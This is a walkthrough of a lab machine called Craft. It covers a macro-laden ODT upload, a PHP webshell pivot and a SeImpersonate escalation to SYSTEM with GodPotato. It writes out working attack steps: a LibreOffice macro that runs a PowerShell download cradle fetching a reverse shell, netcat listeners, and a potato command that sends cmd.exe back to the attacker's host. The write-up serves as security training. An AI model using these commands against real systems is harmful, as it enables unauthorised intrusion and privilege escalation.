Overview
Craft is a Windows machine where the entire attack chain runs through a file upload that accepts only .odt documents. A LibreOffice macro embedded in the ODT executes a PowerShell download cradle when the server-side process opens the file, landing a shell as the document-processing user. From there, write access to the web root enables a PHP webshell that reveals a second, higher-privileged user running Apache with SeImpersonatePrivilege, which GodPotato converts to SYSTEM.
Recon
Web Enumeration
The landing page reveals the admin email admin@craft.offsec, added to /etc/hosts. A Gobuster scan of port 80 finds an /uploads directory alongside the standard XAMPP paths:
gobuster dir -u http://192.168.183.169 -w /home/kali/Tools/SecLists/Discovery/Web-Content/big.txt
/assets (Status: 301)
/uploads (Status: 301)
/phpmyadmin (Status: 403)
Attempting to access upload.php without a file triggers a server-side error that reveals the restriction:
Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\upload.php on line 10
File is not valid. Please submit ODT file
The error also leaks the full server path: C:\xampp\htdocs\upload.php.
Foothold
Malicious ODT Macro
LibreOffice Basic macros can call shell commands. The plan: embed a macro that runs on document open, executing a PowerShell download cradle that fetches and runs a reverse shell from Kali.
In LibreOffice: Tools > Macros > Organize Macros > Basic. Create a new macro named evil under the document:
Sub Main
Shell("cmd /c powershell ""iex(new-object net.webclient).downloadstring('http://192.168.45.185/shell.ps1')""")
End Sub
Then in Tools > Customize, set the trigger event to "Open Document" and assign the evil macro. Save as .odt.
Why macro-on-open works here: when the server processes an uploaded ODT, it opens the document to render or inspect it. LibreOffice Basic macros bound to the Open Document event fire the moment the document loads, no user click required. The shell runs under whatever account LibreOffice uses on the server.
After uploading, the HTTP server receives the callback:
192.168.194.169 - - [12/Aug/2024 14:27:44] "GET /shell.ps1 HTTP/1.1" 200 -
Shell caught as craft\thecybergeek:
rlwrap nc -lvnp 53
connect to [...] from (UNKNOWN) [192.168.194.169] 49821
whoami
craft\thecybergeek
Local flag:
PS C:\Users\thecybergeek\Desktop> type local.txt
‹redacted›
Lateral Move to Apache via Web Shell
After upgrading to a PowerCat shell for stability, WinPEAS reveals that thecybergeek has write access to C:\xampp\htdocs, the web root. This opens a second vector. Uploading the Ivan Sincek PHP reverse shell to the web root and requesting it:
http://192.168.194.169/shell2.php
rlwrap nc -lvnp 445
connect to [...] from (UNKNOWN) [192.168.194.169] 49828
C:\xampp\htdocs> whoami
craft\apache
Why pivot to Apache:
thecybergeekis the document-processing user, a human account, but likely without privileged tokens.apache, the IIS/XAMPP service account, runs the web server and commonly carries SeImpersonatePrivilege, which is the escalation path. Checkingwhoami /privon the new shell confirms it.
Privilege Escalation
SeImpersonate, GodPotato NET4
apache's privileges:
C:\xampp\htdocs> whoami /priv
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Checking the .NET framework version on the registry confirms NET4 is present:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
GodPotato NET4 chains the impersonation token into a SYSTEM process. Running it with nc64 as the payload:
PS C:\Users\apache\Desktop> .\potato.exe -cmd ".\nc.exe 192.168.45.185 8080 -e C:\Windows\System32\cmd.exe"
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] Find System Token : True
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 5072
Root / SYSTEM
rlwrap nc -lvnp 8080
connect to [...] from (UNKNOWN) [192.168.194.169] 49891
Microsoft Windows [Version 10.0.17763.2029]
C:\Windows\system32> whoami
(blank - known GodPotato quirk)
C:\Users\Administrator\Desktop> type proof.txt
‹redacted›
Takeaways
- Error messages are recon. The failed upload response gave the exact server path and the required file type in one shot, read every error carefully.
- Write access to a web root is almost always a shell. Once
thecybergeekcould write PHP tohtdocs, the lateral move toapachewas one file upload away. - Service accounts and SeImpersonate go together. Web server service accounts routinely hold SeImpersonatePrivilege by design; it's the first thing to check after landing as IIS, Apache, or MSSQL.